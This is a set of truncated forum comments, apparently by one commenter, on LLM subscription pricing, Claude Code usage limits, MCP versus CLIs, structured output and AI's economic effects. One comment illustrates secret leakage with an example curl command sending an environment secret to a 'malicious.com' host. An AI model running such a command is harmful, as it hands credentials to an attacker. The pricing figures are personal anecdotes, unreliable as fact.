I haven't seen anyone claiming that API prices are subsidized. At some point (from the very beginning till ~2025Q4) Claude Code's usage limit was so generous that you can get roughly $10~20 (API-price-equivalent) worth of usage ou

This feels so wrong. the LLM should play the role of a very general (but empty & un-opinionated) brain - you don’t want to perform a coding-specific lobotomy on someone every day. The proper target of their RL should have been their har

MCP solves a very specific problem: how do you ship a LLM’s tool/function so that it is callable by an LLM in an inter-process manner (so that you don’t need to modify OpenAI’s code to make your tool available in ChatGPT)? CLIs concern

Setting an env var on a machine the LLM has control over is giving it the secret. When LLM tries `echo $SECRET` or `curl https://malicious.com/api -h secret:$SECRET` (or any one of infinitely many exfiltration methods pos

Then you inevitably have to leak your API secret to the LLM in order for it to successfully call the APIs. MCP is a thin toolcall auth layer that has to be there so that ChatGPT and claude.ai can "connect to your Slack", etc.

Money is useful mostly for hiring human labor to outcompete others, e.g. Satya Nadella has 100K employees under his command, you don't, so you can't realistically compete with MS today - this is their main moat. If AI renders huma

You are describing tradition (deterministic?) automation before AI. With AI systems as general as today's SOTA LLMs, they'll happily take on the job regardless of the task falling into class I or class II. Ask a robot arm "ho

From a couple hours of usage in the CLI, 5.2-codex seems to burn through my plan's limit noticeably faster than 5.1-codex. So I guess the usage limit is a set dollar amount of API credits under the hood.

The way you get structured output with Claude prior to this is via tool use. IMO this was the more elegant design if you think about it: tool calling is really just structured output and structured output is tool calling . The "do not

Anecdotally, a Max subscriber gets something like $100 worth of usage per day. The more people use Claude Code, the more Anthropic loses, so it sounds like a classical "selling a dollar for 85 cents" business to me. As soon as use

I think the OP's point is that all those requirements are to be implemented outside the LLM layer, i.e. we don't need to conceive of any new model architecture. Even if LLMs don't progress any further beyond GPT-5 & Claud

Depends a lot on the way people use them. If you discusses a plan with CC well upfront, covering all integration points where things might go off rail, perhaps checkpoint the plan in a file then start a fresh CC session for coding, then CC
